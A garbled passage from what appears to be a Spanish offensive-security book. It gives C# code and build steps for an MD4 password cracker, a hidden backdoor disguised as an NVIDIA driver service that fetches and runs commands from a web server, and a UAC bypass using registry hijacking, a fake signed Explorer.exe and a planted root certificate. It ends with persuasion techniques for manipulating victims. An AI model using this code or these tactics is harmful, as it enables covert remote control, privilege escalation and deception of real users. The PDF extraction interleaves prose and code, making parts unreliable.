byte[] hash = ComputeMD4(hashunicode);

Despus transformaremos el resultado en hexadecimal para compararlo con la contrasea proveniente de la


extraccin.

string txtmd4 = "";

foreach (byte b in hash)

txtmd4 += b.ToString("X");

Usaremos una funcin que solo se encuentra a partir del framework 4. Esta ltima permite hacer bucles usando el
paralelismo, y por lo tanto resolver las comparaciones de la contrasea a mayor velocidad.

2.
Parallel.For(0, 9999999, i => {

Crear la aplicacin

Una vez descargada la librera, copie el fichero en un directorio. Despus cree un nuevo fichero de
textocrack.txt con el siguiente cdigo:

3. Compilar la aplicacin

La aplicacin que estamos creando es de tipo Windows Forms. Existe una particularidad, ya que la compilaremos
con una biblioteca que se encuentra en un fichero separado.

Abra una ventana de comandos y acceda al directorio del framework 4.

Cd\

Cd C:\Windows\Microsoft.NET\Framework\v4.0.30319

Despus escriba:

csc.exe /out:c:\temp\crack.exe /target:winexe c:\temp\crack.txt

c:\temp\md4.cs
Ahora puede ejecutar su aplicacin. El primer campo es el que contiene el hash que deseamos romper. El segundo
es el del resultado de la contrasea encontrada.

Puede realizar una prueba con el siguiente hash:

La
B7A27262E5D3516533A09F497E8A085

aplicacin puede calcular la contrasea correspondiente. En el momento de la prueba, se percatar que la


aplicacin parece que se encuentra bloqueada: es normal, ya que est calculando. Hubisemos podido evitar este
bloqueo usando Thread. Pero no es el objetivo de este cdigo. Despus de un tiempo, o se encuentra la
contrasea, o aparece un mensaje en el que se dice que no se ha encontrado la contrasea. En nuestro caso, la
contrasea debera ser 1223, como en la siguiente imagen.

Puede, a partir de lo creado, desarrollar una herramienta ms interesante basando sus comparaciones en otros
caracteres, adems de los numricos.

4. Usar la GPU

En la medida en que disponga de una buena tarjeta grfica, podra tambin utilizarla para romper sus
contraseas. Para ello, basta con descargar el SDK que corresponde a su tarjeta grfica y adaptar el cdigo.

Para ATI: http://developer.amd.com/tools/graphics-development/

Puede usar tambin los SDK que no se basan en una tarjeta en particular, como CudaFy en .NET, que soporta ATI,
NVIDIA e Intel: http://cudafy.codeplex.com/

Microsoft tambin pone a disposicin de los desarrolladores la tarjeta grfica:http://msdn.microsoft.com/en-


us/library/vstudio/hh265136.aspx y http://research.microsoft.com/en-us/projects/Accelerator/

La mayor parte de estas bibliotecas soportan varias tarjetas grficas. Por lo tanto, podemos crear un programa
capaz de romper contraseas de manera muy eficaz aadiendo varias tarjetas grficas.
Gobernar un equipo remoto
Cuando ejecuta una aplicacin trampa para un usuario, est tomando riesgos. Este usuario podra optar por no
ejecutar cada fichero que le enva. Debe encontrar primero la manera de que ejecute sus comandos sin que ejecute
varias aplicaciones trampa. Vamos a crear una aplicacin robot que buscar asiduamente en un sitio web los
comandos que debe ejecutar.

1. Principios bsicos

Vamos a utilizar un objeto WebClient para abrir el fichero sin descargarlo.

La
WebClient paginaWeb = new WebClient();

Stream flujo = paginaWeb.OpenRead(ruta);

StreamReader contenido = new StreamReader(flujo);

primera lnea es el comando, la segunda representa los parmetros y la tercera indica si la aplicacin debe ser
visible o no para el usuario.

El
string command, param = "";

bool EsVisible = false;

command = contenido.ReadLine();

try{ param = contenido.ReadLine(); } catch { }

try { EsVisible = bool.Parse(contenido.ReadLine()); } catch { }

fichero de comandos es un simple fichero de texto, subido en un sitio web con una direccin fija y siempre con el
mismo nombre. La variable Contenido es la pgina web que se lee. Se puede leer una pgina ms compleja, como
un blog o un foro, y buscar all comandos que se van a ejecutar. Basta con parsear el texto de esta variable.

El texto que genera el comando para mostrar la lnea de comandos al usuario se parece a lo que sigue:

Cmd

/k

True

Podemos tambin ejecutar comandos PowerShell de la siguiente manera:


Powershell

-command "&{ get-host; }"

False

Puede indicar un nombre de usuario y una contrasea para abrir la pgina que contiene los comandos:

Una
WebClient pageWeb = new WebClient(); vez

pageWeb .Credentials = new NetworkCredential("user", "Pass");

recuperado el comando, lo ejecutamos con Process. Esta parte ya se ha explicado en los apartados anteriores.

2. Crear la aplicacin

A continuacin puede ver el cdigo completo de la aplicacin, que tambin puede descargar.

Abra el Bloc de notas y escriba las lneas siguientes. Acurdese de aadir una funcin que haga que el programa se
ejecute en el arranque.
using System;

using System.Collections.Generic;

using System.IO;

using System.IO.Pipes;

using System.Linq;

using System.Text;

using System.Threading;

namespace CambiaPin

class Program

static void Main(string[] args)

NamedPipeClientStream cliente =

new NamedPipeClientStream("\\\\.\\pipe\\PinSetting");

StreamWriter Escribir = new StreamWriter(cliente);

cliente.Connect();

int pin = SolicitudCodigo();

Escribir.WriteLine(pin);

Escribir.Flush();

Escribir.Close();

static int SolicitudCodigo()

try

Console.WriteLine("Introduzca un cdigo PIN numrico:");

return int.Parse(Console.ReadLine().Trim());

catch

Console.WriteLine("El cdigo debe ser numrico");

return SolicitudCodigo();
using System;

using System.Collections.Generic;

using System.Text;

using System.Windows.Forms;

using System.IO;

using System.Threading;

using System.Reflection;

using System.Net;

using System.Diagnostics;

[assembly:AssemblyTitle("Driver Helper Service, Version 302.57")]

[assembly:AssemblyVersion("7.17.13.697")]

[assembly:AssemblyDescription("Driver Helper Service, Version 302.57")]

[assembly:AssemblyCompany("Global Corporation. All rights reserved.")]

namespace robot

class Program

static string ruta = "http://localhost/test/cmd.txt";

static string AntiguoCommand = "";

static Form f1 = new Form();

static void Main(string[] args)

f1.Name = "NVIDIA Driver Helper Service";

f1.ShowInTaskbar = false;

f1.Hide();

System.Timers.Timer minutero1 = new System.Timers.Timer();

minutero1.Enabled = true;

minutero1.Interval = 5000; // 5 seg

minutero1.Elapsed += minutero1_action;

Thread th = new Thread(minutero1.Start);


Para probar el programa, descargue un fichero de texto que contenga los comandos en el sitio web definido en el
programa. Ejecute seguidamente el programa.

3. Compilar la aplicacin

Nuestra aplicacin es de tipo Windows Forms invisible. El parmetro target ser por lo tanto winexe.

Abra una ventana de comandos y acceda al directorio del framework para escribir el siguiente comando:

csc.exe /out:c:\temp\robot.exe /target:winexe c:\temp\robot.txt

Para usar el programa, cree un sitio web y cargue el texto. Compile el programa con la direccin del comando.
Haga que la vctima instale el programa. El equipo objetivo estar a su servicio. Para hacerle ejecutar un
comando, basta con cargar un nuevo fichero de texto en el sitio web.

Esquivar la seguridad de la UAC


Desde Windows Vista, la UAC protege a los usuarios que tienen permisos de administrador en su equipo. En cuanto
una aplicacin o un comando se ejecuta, tiene por defecto privilegios de usuario aunque el usuario sea
administrador de su equipo. El hecho de pedir al usuario ejecutar una aplicacin con privilegios elevados resulta
muy sospechoso. Vamos a desarrollar una aplicacin capaz de instalarse con solo permisos de usuario y que se
ejecutar con privilegios de administrador. Deberemos crear para eso un ejecutable capaz de arrancar otra
aplicacin con los parmetros de consent.exe (consent.exe es la aplicacin de sistema que usa la UAC). Deber
parecerse a un programa conocido para que el usuario no le preste atencin. Ocultaremos, por lo tanto, nuestro
programa en Explorer.exe. Firmaremos el programa y as ser reconocido como de confianza gracias a la instalacin
del certificado raz en el equipo de la vctima.

1. Principios bsicos

Empecemos por el programa. La parte importante del cdigo es la siguiente. El resto del cdigo se parece a los
ejemplos anteriormente propuestos:
try

String Command = Environment.CommandLine;

String[] arguments = Command.Split(=);

String ProcessArgs = "";

Process p = new Process();

p.StartInfo.FileName = arguments[1];

if (arguments[2].Length > 2)

p.StartInfo.Arguments = arguments[2];

p.Start();

//Aqu su cdigo

catch { }

Acurdese de aadir el cdigo necesario para que el nombre y el ttulo del programa sea reconocido como el
explorador de Windows. Puede hacerlo aadiendo las propiedades del assembly:

Si
[assembly:AssemblyTitle("Explorador Windows")]

[assembly:AssemblyVersion("6.2.9200.16433")]

[assembly:AssemblyDescription("Explorador Windows")]

[assembly:AssemblyCompany("Microsoft")]

utiliza Visual Studio, indique lo siguiente en las propiedades de su proyecto:


2. Extraer los iconos de una aplicacin

Al compilar, acurdese de aadir el icono del explorador para que resulte ms discreto. Para extraer los iconos de
una aplicacin, utilice el programa de Nirsoft, Resources Extract. Lo encontrar en el siguiente
enlace: http://www.nirsoft.net/utils/resources_extract.html

Indique la ruta Windows\*.exe como la fuente y d un directorio de destino. Elija nicamente los iconos como tipo
de recursos.

Ahora dispone de opciones para elegir el icono. Le aconsejamos explorer_ICO_MYCOMPUTER.ico, que es el


utilizado por Explorer.exe.

3. Firmar el cdigo

Para que su aplicacin sea reconocida como de confianza por Windows, debe firmarla con un certificado de tipo
Code Signing reconocido por el almacn de certificados del usuario. La firma de un ejecutable se hace con la
herramienta Signtool.exe. Se instala con Visual Studio.

Deber pedir un certificado de firma de cdigo a su autoridad de certificacin. La solicitud sigue los mismos pasos
que la de un certificado web, que hemos visto en el captulo Extraer, romper, cambiar una contrasea, en el
apartado Cmo recuperar una contrasea desde la red? - Introduccin a los certificados y a HTTPS.

Una vez el certificado recibido e instalado, bralo y copie la lnea Huella digital.

Arranque la consola de Visual Studio y ejecute el siguiente comando reemplazando, en los parmetros, lo indicado
por sus propios datos.
El
signtool sign /d "Explorador Windows" /sha1

90c856875331881f1f97e9dbe8c8636ce8b79fda c:\temp\explorer.exe

resultado se parece al presentado en la siguiente imagen:

Si abre las propiedades de la aplicacin, constatamos que la pestaa Firmas digitales ha sido aadida.

4. Trucar la aplicacin para la vctima


Cree un fichero de registro Start.reg que ejecutar su aplicacin:
La
Windows Registry Editor Version 5.00
HKEY_CURRENT_USER\Software\Classes\exefile]

[HKEY_CURRENT_USER\Software\Classes\exefile\DefaultIcon]

@="%1"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\Open\Command]

@="\"%1\" %*" "IsolatedCommand"="\"%1\" %*"

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas]

[HKEY_CURRENT_USER\Software\Classes\exefile\Shell\runas\command]

@="\"%1\"%*"

"IsolatedCommand"="%appdata%\\Microsoft\\Windows\\explorer.exe =\"%1\"=\"%*\""

ltima lnea contiene la ruta donde el sistema intentar ejecutar su aplicacin. El resultado en el registro debe
parecerse a la siguiente imagen:

Cree el fichero start.bat con los comandos siguientes:

Es
reg import start.reg

xcopy explorer.exe %appdata%\Microsoft\Window\ /y

wscript.exe Certutil.vbs

importante que la ruta de destino de nuestra aplicacin tenga permisos de escritura para el usuario.
Certutil.vbs se explica en el captulo Extraer, romper, cambiar una contra-sea, en el apartado Cmo recuperar
una contrasea desde la red? - Introduccin a los certificados y a HTTPS.

Aada los siguientes ficheros a su aplicacin trampa:

Root.cer

Start.reg

Certutil.vbs

Start.bat

Explorer.exe

AplicacionNormal.exe

Compile la aplicacin como en el captulo Tomar el rol de administrador o de sistema, en el apartado - Trucar una
aplicacin con las herramientas integradas en Windows.

El usuario objetivo podr ejecutar los scripts de instalacin de la aplicacin trampa con solamente sus privilegios
de usuario. Una vez la trampa puesta en marcha, en cuanto el usuario use sus permisos de administrador para
ejecutar una aplicacin o instalar un programa, nuestra aplicacin se ejecutar, ella tambin con permisos de
administrador. Esto significa que acabamos de esquivar la UAC, ya que, instalando una aplicacin con permisos de
usuario, podemos ejecutar nuestro programa con privilegios de administrador, todo esto con discrecin.

Esto no funcionar si el usuario hace clic en Ejecutar como otro usuario, ya que, en este caso, sern las
informaciones a nivel del equipo las que se usarn. Pero con un keylogger, podr disponer de estas
informaciones. Si un usuario ejecuta un fichero bat en vez de un ejecutable para arrancarlo con privilegios de
administrador, entonces es la extensin del fichero la que se debe modificar en el registro para que nuestro
programa funcione. Solo hemos modificado el funcionamiento de los ficheros exe con la ayuda de la clase
exefile. Para un script bat, debe proceder de la misma manera con la clase batfile. Y as si va a utilizar otra
extensin.

5. Probar las modificaciones

El resultado es muy interesante. Si hacemos clic en una aplicacin, no pasa nada. Pero si se ejecuta una
aplicacin que necesite privilegios elevados o un usuario elige ejecutar un software en este modo, el mensaje de
confirmacin es diferente de lo habitual; el icono y el ttulo que se muestran son siempre los del explorador de
Windows, sin importar la aplicacin arrancada.

Al ejecutar el programa normal (sin la trampa) con permisos de administrador, vemos el nombre y el icono de la
aplicacin que se va a ejecutar. En el ejemplo siguiente, se trata de la ventana de comandos CMD.
Despus de las modificaciones, es el icono del explorador de Windows el que se muestra. El escudo de seguridad
es tambin diferente. Pero estos detalles no chocan en absoluto al usuario poco atento.

La diferencia reside en la aplicacin ejecutada y su certificado.

Acaba de ver cmo se puede rodear la seguridad de la UAC. Finalmente no ha resultado tan complicado. Si desea
aumentar la discrecin del ataque, no puede basarla en la extensin exefile que afecta a todos los ejecutables,
sino modificar una extensin como mscfile, que gestiona los ficheros de la consola MMC, o tambin batfile para los
ficheros bat. As podr elegir el icono que corresponde realmente a la aplicacin.

Cambiar el cdigo PIN BitLocker con permisos de usuario


Desde Windows Vista, Microsoft permite cifrar el disco duro completo de un equipo con BitLocker. La clave de
cifrado est almacenada en un chip TPM o en una llave USB. Los datos no se pueden modificar offline. Pero todava
es posible arrancar el sistema y atacar los servicios expuestos. Para paliar esto, Microsoft permite aadir un cdigo
PIN que no se guarda en el equipo. El usuario puede definirlo y sin este cdigo el sistema no arranca. En apariencia,
es un buen sistema, pero hace falta que el usuario sea administrador para poder cambiarlo, lo que para nosotros es
una pena. Crearemos una aplicacin que, una vez instalada, permitir a un usuario sin privilegios de administrador
cambiar el cdigo PIN de BitLocker.
1. Principios bsicos

Vamos a crear un servicio de Windows que se ejecutar con permisos de sistema y se encargar de cambiar el
PIN en el lugar del usuario. Adems, haremos una aplicacin donde el usuario podr introducir el cdigo PIN y
ser enviado al servicio.

Para crear un servicio, nuestra clase debe heredar de ServiceBase.

Los
public partial class Servicio1 : ServiceBase

mtodos principales obligatorios llamados por el sistema son Start y Stop:

protected override void OnStart(string[] args)

protected override void OnStop()

Para la comunicacin entre el servicio y la aplicacin de usuario, utilizaremos los Named Pipes, lo que significa que
comunicaremos los dos procesos usando la memoria del sistema: un medio simple, rpido y eficaz.

Encontrar ms informacin sobre los Named Pipes en el sitio web de Microsoft:http://msdn.microsoft.com/en-


us/library/bb546085.aspx

El servicio debe escuchar y esperar que se le enve un nuevo cdigo PIN.


Por
NamedPipeServerStream Escucha = new

NamedPipeServerStream("\\\\.\\pipe\\PinSetting",

System.IO.Pipes.PipeDirection.InOut,2);

StreamReader lector = new StreamReader(Escucha);

while(true)

Escucha.WaitForConnection();

string PINCode;

Escucha.WaitForPipeDrain();

PINCode = lector.ReadLine()

defecto, un Named Pipe no autoriza a un usuario con permisos inferiores a conectarse a un Pipeadministrador o de
sistema. Por lo tanto, debemos modificar los permisos para autorizar a todos los usuarios del equipo a enviar un
mensaje al servicio.

Si
PipeSecurity seguridad = new PipeSecurity(); el

seguridad.AddAccessRule(new PipeAccessRule( @".\Users",

PipeAccessRights.ReadWrite, AccessControlType.Allow));

equipo nunca ha tenido un cdigo PIN, debemos crear uno.

Si
Process p = new Process();

p.StartInfo.Arguments = "-protectors -add %systemdrive%

-tpmandpin " + PINCode;

p.StartInfo.FileName = "manage-bde.exe";

p.Start();

existe un cdigo PIN, lo cambiamos con las siguientes lneas:


Sin
Process p = new Process();

p.StartInfo.Arguments = "-changePin %systemdrive% " + PINCode;

p.StartInfo.FileName = "manage-bde.exe";

p.Start();

saber de antemano si se ha definido un cdigo PIN o no, ejecutaremos las lneas correspondientes a la creacin de
un cdigo PIN y las correspondientes al cambio de un cdigo PIN. Cubriremos as los dos casos.

Para enviar el cdigo de la aplicacin de usuario hacia el servicio de Windows, abrimos una conexin:

NamedPipeClientStream cliente =

new NamedPipeClientStream("\\\\.\\pipe\\PinSetting");

StreamWriter Escribir = new StreamWriter(cliente);

cliente.Connect();

Escribimos el PIN:

Escribir.WriteLine(SolicitudCodigo());

Esperamos una posible respuesta y cerramos la conexin.

2.
cliente.WaitForPipeDrain();

cliente.Close();

Escribir.Close();

Crear un servicio de Windows

Este desarrollo consta, como habr comprendido, de dos partes. La primera es un servicio de Windows.

Cree un nuevo documento de texto con el nombre PIN-Service.txt. Aada el siguiente cdigo:
using System;

using System.Collections.Generic;

using System.ComponentModel;

using System.Data;

using System.Diagnostics;

using System.IO;

using System.IO.Pipes;

using System.ServiceProcess;

using System.Text;

using System.Threading;

using System.Security.AccessControl;

namespace PIN_service

public partial class Servicio1 : ServiceBase

public Servicio1()

protected override void OnStart(string[] args)

Thread t = new Thread(new ThreadStart(Servidor));

t.Start();

protected override void OnStop()

static void Main()

ServiceBase[] ServicesToRun;

ServicesToRun = new ServiceBase[]


Visual Studio Express no propone la creacin de servicios de Windows. Sin embargo, es posible crearlos con
esta herramienta; para ello, debe efectuar varias pequeas operaciones. Debe aadir una referencia
a System.Service- Process desde la gestin de referencias de Visual Studio. Despus debe aadir Using
System.ServiceProcess al inicio de su programa. Despus su clase debe heredar de ServiceBase y declarar
como mnimo las dos funciones siguientes: protected override void OnStart(string[] args) y protected
override void OnStop(). Compile todo como una aplicacin de consola y su servicio de Windows est listo
para ser instalado (ver el cdigo anterior).

3. Compilar e instalar un servicio de Windows

Para compilar el servicio, acceda al directorio del framework 3.5 o 4.5. La comunicacin mediante memoria solo
es soportada a partir del framework 3.5, el cual se instala por defecto en Windows 7. En Windows 8, utilice el 4.5.

Una
C:\Windows\Microsoft.NET\Framework64\v3.5\ vez
la
Csc /out:c:\temp\pin-service.exe c:\temp\pin-service.txt

compilacin finalizada, se trata de instalar el servicio en el equipo. Para ello, prevea un paquete de instalacin que
copie el fichero en un directorio, y que lo instale en el equipo objetivo con el siguiente comando:

sc create pin-service binPath= C:\temp\pin-service.exe start= auto

Debe haber un espacio entre el signo igual y el parmetro.

4. Crear la aplicacin cliente

La aplicacin cliente nos permitir enviar el cdigo PIN al servicio. Se conecta al servicio, solicita un cdigo PIN al
usuario y lo enva para llevar a cabo el cambio de este.

Cree un nuevo documento de texto y llmelo ChangePin.txt. Aada el siguiente cdigo:

Le aconsejamos que escriba un programa ms visual. El cdigo anterior le permite sobre todo comprender los
principios necesarios para la comunicacin entre procesos que se ejecutan con distintos permisos.
5. Compilar la aplicacin cliente

La compilacin es del mismo estilo que las que ya hemos visto. Acceda al directorio del framework y compile el
fichero fuente.

C:\Windows\Microsoft.NET\Framework64\v3.5\

Csc /out:c:\temp\ChangePin.exe c:\temp\ChangePin.txt

Ahora puede probar la aplicacin:

El servicio PIN-Setting debe estar arrancado para que pueda conectarse con el Named Pipe y as cambiar el
cdigo PIN.

Hemos visto cmo establecer una comunicacin entre una aplicacin de usuario y un servicio con permisos de
sistema. Este tipo de relacin permite escribir aplicaciones que otorgan permisos especficos al usuario para
ejecutar tareas restringidas.

Contramedidas
Una aplicacin keylogger, de captura de pantalla, etc., compilada por un usuario no suele ser detectada por el
antivirus. Debe impedir a los usuarios que compilen sus propios cdigos; para esto, bloquee los compiladores
presentes en los frameworks instalados en los equipos clientes creando una restriccin de software de estas
herramientas. El Framework .NET integra un compilador C#, un compilador VB y a veces un compilador J#.
Asegrese de que todos estos compiladores estn bloqueados para los usuarios finales, es decir: que debe bloquear
los ficheros csc.exe, vbc.exe y jsc.exe. Acurdese tambin de bloquear PowerShell, ya que es posible para un
usuario utilizar objetos .NET dentro de PowerShell. Esto dara a sus scripts las mismas capacidades que una
aplicacin compilada.

Puede asimismo prohibir la modificacin de las claves del registro con una directiva de grupo. Preste atencin a las
claves de usuarios que permiten aadir una clase de fichero, arrancar una aplicacin y a todas las claves que
podran comprometer sus sistemas.

Entender a la persona, sus necesidades y sus deseos


No existe un modelo especfico para el anlisis de la ingeniera social. Utilizaremos, por lo tanto, modelos de anlisis
de las personas adaptadas al marketing, a la gestin o a la psicologa.

1. La toma de decisiones

El modelo de Kollat y Blackwell usado en marketing nos da una idea del funcionamiento de la toma de decisiones.

Esquema de la toma de decisiones extrado del Comportamiento del consumidor y del comprador, escrito por
Nathalie Guichard, Rgina Vanheems.

Algunas etapas de este proceso pueden ser controladas por el atacante; por ejemplo, la creacin de un problema,
la proposicin de alternativas, lo que debera llevar a una decisin de accin adaptada a nuestro objetivo. Si el
usuario recibe adems una respuesta adaptada a su eleccin, la evaluacin postaccin ser positiva y permitir un
nuevo ataque del mismo tipo.

Vamos a jugar con variables que nos permitirn mejorar las respuestas positivas a nuestros ataques:

La consideracin de las necesidades del usuario.


Un problema o una proposicin adaptada.
Informaciones complementarias al problema propuesto.
Un intervalo de tiempo que no permita una gran bsqueda de informacin.
Alternativas que respondan perfectamente al problema.
Una respuesta positiva al usuario sobre la eleccin de su accin.

Poniendo en marcha estas bases de marketing, un ataque por ingeniera social tendr ms oportunidades de
llegar a un resultado satisfactorio.

2. Entender al usuario

El objetivo es hacer picar el usuario. El atacante deber reflejar lo mejor posible las necesidades y los deseos de
la vctima. Para entender y contactar mejor con el usuario, existen tcnicas de comunicacin como la PNL
(programacin neurolingstica). Segn los expertos en este dominio, se puede definir como un estudio y
modelizacin de estructuras subjetivas de la experiencia humana. Para entender mejor los entresijos, debemos
comprender y asimilar las premisas o los postulados de la PNL. Entre las premisas ms significativas de la PNL,
encontramos que el hbito no hace al monje. Es decir, que cada uno de nosotros ve e interpreta las
informaciones que recibe del exterior segn sus propias referencias. La realidad es diferente para cada uno y
trabajamos con una imagen de esta realidad. Es lo que se llama una representacin subjetiva de la realidad.

En la ayuda de la accin y de la decisin, otros postulados resultan interesantes para nosotros, por ejemplo:
Siempre optamos por la mejor opcin en una situacin dada teniendo en cuenta la informacin que poseemos.
Lo que significa que, en el momento de nuestra eleccin, hacemos lo mejor para noso-tros mismos, en relacin
con la subjetividad de nuestra realidad.

Como atacante, debe comprender el mundo de su objetivo, acotar o por qu no, crear sus necesidades, ayudarle
a decidirse priorizando una solucin que le hayamos propuesto y, al final, hacerle la experiencia positiva. Si la
experiencia entregada a un usuario es negativa, los futuros ataques tendrn ms probabilidades de fracaso.
Adems, podra transmitir sus malas sensaciones a otros futuros objetivos. En caso contrario, si la experiencia es
positiva, el usuario tendr ms probabilidad de colaborar de nuevo y adems transmitir por l mismo el ataque a
otros objetivos.

Las necesidades del usuario

1. El modelo de Maslow

El acto de la decisin es la convergencia entre una necesidad o un deseo y un elemento susceptible de


satisfacerlo. Para comprenderlo, vamos a utilizar una base de gestin: la pirmide de Maslow.

Esta pirmide nos aporta informaciones interesantes sobre las necesidades primordiales. Las necesidades
primarias, como las fisiolgicas (la comida, la bebida, etc.); las necesidades de seguridad, como la conservacin
de una propiedad, poseer bienes, poder realizar cosas. Las necesidades de seguridad pueden ser un medio de
presin o una herramienta para la curiosidad. Si el usuario cree que perder su puesto de trabajo, buscar por
todos los medios informaciones al respecto.

Las necesidades secundarias son igual de importantes, pero mucho ms subjetivas. La pertenencia a un grupo, la
necesidad de estima y la realizacin de uno mismo atae a todo el mundo, pero en grados diferentes. Antes de
usar esas necesidades, debe saber cul es el ms sensible para el objetivo.
2. El modelo de valor de inventario de Shalom Schwartz

El modelo de Maslow se explica con frecuencia; es muy simple, rpidamente comprendido y asimilado. Sin
embargo, es limitado. En su creacin Abraham Maslow solo tom como muestra la poblacin occidental que ya
estaba predispuesta, lo que en nuestro caso no es tan relevante. En cambio, no tiene en cuenta los deseos del
usuario y no es suficientemente preciso para deducir principios de manipulacin social.

Los valores de inventario de Schwartz provienen de una investigacin realizada sobre ms de 60 000 personas.
Esta investigacin ha permitido identificar valores comunes que actan como directrices de la vida de estas
personas. Schwartz identific y agrup 56 valores en 10 tipos de valores. Estos grupos de valores se pueden usar
para manipular a una persona. Cada uno de nosotros est ms predispuesto a ser manipulado por uno u otro de
estos valores.

Los valores de inventario de Shalom Schwartz son los siguientes:

Autonoma: independencia del pensamiento y de la accin: elegir, crear, explorar. La autonoma como valor est
anclada en las necesidades vitales de control y de dominio. Una persona, para la cual la autonoma es importante,
estar ms alerta si est amenazada.

Estimulacin: entusiasmo, novedad y desafo que realizar en la vida. Los valores de estimulacin provienen de la
necesidad vital de variedad, de cambio y de reto.

Hedonismo: placer o gratificacin personal. Los valores de hedonismo provienen de las necesidades vitales del
ser humano y del placer asociado a su satisfaccin.

xito: el xito personal obtenido gracias a la manifestacin de competencias socialmente reconocidas. Ser
competente en la creacin o el acceso a recursos es una necesidad para la supervivencia de los individuos; es
tambin indispensable para que los grupos o las instituciones puedan alcanzar sus objetivos.

Poder: estatus social de prestigio, control de recursos y dominacin de las personas. El funcionamiento de
instituciones sociales necesita aparentemente de un cierto grado de diferenciacin de los estatus sociales. Una
dimensin dominacin/sumisin aparece en la mayora de los anlisis.

Seguridad: estar seguro, en harmona y estabilidad con la sociedad, en las relaciones entre grupos e individuos y
consigo mismo.

Conformidad: moderacin de las acciones, de los gustos, de las preferencias y de los impulsos susceptibles de
desestabilizar o daar a los dems, o tambin quebrantar las expectativas o las normas sociales. Los valores de
conformidad provienen de la necesidad de los individuos de inhibir sus deseos, que podran contrariar o trabar el
buen funcionamiento de las interacciones y del grupo.
Tradicin: respeto, compromiso y aceptacin de las costumbres e ideas sostenidas por la cultura o la religin a
las cuales estamos ligados. En todas partes, los grupos desarrollan prcticas, smbolos, ideas y creencias que
representan su experiencia y su destino comn, y se vuelven as costumbres y tradiciones de grupo.

Bondad: conservacin y mejora del bienestar de las personas con las cuales estamos en contacto habitualmente.
Los valores de bondad provienen de la necesidad para el grupo de funcionar de manera harmoniosa y de la
necesidad de aceptacin del individuo como organismo. Las relaciones en el seno de la familia o de otros grupos
son aqu cruciales. La bondad pone el acento sobre la preocupacin por el bienestar de los dems.

Universalismo: comprensin, estima, tolerancia y proteccin del bienestar de todos y del entorno. Los valores de
universalismo provienen de la necesidad de supervivencia de los individuos y de los grupos.

Todos estos valores pueden utilizarse para que la solucin ideada por el atacante responda a uno o varios valores
importantes para el usuario.

Tcnicas de manipulacin
La decisin es el acto de realizar una eleccin para resolver un problema o un deseo. Se habla del proceso de
decisin. Siempre ser una eleccin entre varias soluciones posibles. La eleccin final se apoyar en un criterio de
satisfaccin, para estar lo ms contento posible de la eleccin realizada.

El responsable interpreta la situacin a la cual se halla confrontado y determina el problema.


Decide y renuncia a las otras opciones.
Espera un feedback para guardar la respuesta de su experiencia.
La fase de resolucin del problema es la ms estudiada. Entraa generalmente la bsqueda de informacin, el
anlisis de las soluciones y la toma de decisiones. El proceso de decisin es ms o menos racional.

Para manipular una respuesta, debemos orientar el problema y la fase de resolucin de este. En un contexto
determinado, una persona puede ser manipulada para dar una respuesta que no tiene por qu estar alineada con lo
que desea, pero que corresponder a lo que se espera de ella.

Por ejemplo, en el contexto de una entrevista de trabajo, el responsable de recursos humanos afirma: El ambiente
es familiar, nuestros consultores estn muy interesados en el crecimiento de la empresa. Como prueba de ello, no
contabilizan sus horas!.Cuando llega al turno de preguntas y el responsable le pregunta qu opina de las horas
extraordinarias, qu le contesta? Podemos poner nuestra mano en el fuego que su respuesta estar en lnea con la
opinin del entrevistador. Sin embargo, a quin le gustan realmente las horas extraordinarias?

1. Las sugestiones verbales

La PNL, as como la hipnosis ericksoidiana, utilizan tcnicas de manipulacin verbal que se dirigen hacia el
subconsciente ms que a la parte consciente de nuestro cerebro. Esta prctica se denomina sugestin. La
sugestin no es negativa en s; solo es negativa si se utiliza con fines malos. En nuestro contexto, la utilizaremos
para sugerir una eleccin con fines de pirateo; no cabe duda de que existen usos ms positivos.

Los diferentes tipos de sugestin verbal estn expuestos a continuacin.


1. Una secuencia de aceptacin es una serie de hechos indiscutibles seguidos de una proposicin poco discutible,
por ejemplo, Dado que disponemos del contrato y que estamos de acuerdo con l, vamos a firmarlo.

2. En las sugestiones activadoras, las cosas se presentan de forma ms ligera, lo que permite elegir. Pero la
respuesta lgica que se impone es la incluida en la pregunta. Ejemplo: Ya que es viernes y que son las 16 h,
igual podramos dejarlo aqu?.

3. En las sugestiones indirectas, las cosas se presentan indirectamente. Ejemplo: No le voy a decir que las horas
extraordinarias son importantes, eso lo sabe. Y usted qu opina?

4. Las sugestiones indirectas por interrogacin son una tcnica muy usada por los comerciales. La pregunta no
trata del tema principal, sino de un tema conexo, como en el siguiente ejemplo, donde la verdadera pregunta
es: Desea instalar un cortafuegos?, pero se transforma en: Cuando piensa instalar un cortafuegos?. La
instalacin del cortafuegos est implcita, solo la fecha es objeto de la pregunta.

5. En el doble vnculo, dejamos una eleccin que no es ms que un detalle, con respecto a lo que deseamos. La
verdadera pregunta es: Va a firmar?, pero se transforma en: Sabe si va a firmar esta semana o prefiere
dejar pasar el fin de semana antes?.

6. En los tpicos, tres o cuatro proposiciones evidentes pueden esconder la ltima proposicin, que es aceptada
como las otras. Por ejemplo: Leyendo este libro hasta este punto, lo disfrutamos y lo aconsejamos a los
amigos.

7. En las sugestiones negativas paradoxales, la eleccin parece posible y sin embargo realmente no existe.
Ejemplo: Ahora no resulta absolutamente indispensable prever la actualizacin?. Con palabras del calado de
absolutamente indispensable, la respuesta se orienta fuertemente hacia un s. Cada vez que el cerebro se
enfrenta a una frase de este estilo, debe construir su forma positiva para anularlo. Si le pido que no imagine aqu
y ahora un conejo azul en sus rodillas. Qu hara? Ha imaginado ya este conejo?

Se habr dado cuenta de que la formulacin es tan importante como el contexto. Una buena formulacin
aumentar vertiginosamente los resultados positivos de sus ataques.

Creacin de la fase de ataque


Para crear un contexto favorable, podemos crear un ataque en varias fases.

1. Defina una necesidad o un deseo de la vctima apoyndose en la pirmide de Maslow o en el inventario de


Schwartz.

2. Cree o use un problema partiendo de la necesidad o el deseo, como el riesgo de prdida del puesto de trabajo,
una oferta de un producto deseado, etc. (interpretacin y definicin del problema para el objetivo).

3. D al usuario informaciones para confirmar su problema y proporcinele una parte de la respuesta (bsqueda y
recoleccin de informaciones para el objetivo).

4. D al usuario un medio eficaz para resolver su problema, lo que le dar una escapatoria controlada (la toma de
decisin).
5. Tranquilice al usuario sobre la eleccin que ha hecho. Si el problema toca un tema sensible para el usuario,
aprovchese de esta fase para devolverle a un estado de tranquilidad (respuesta positiva).

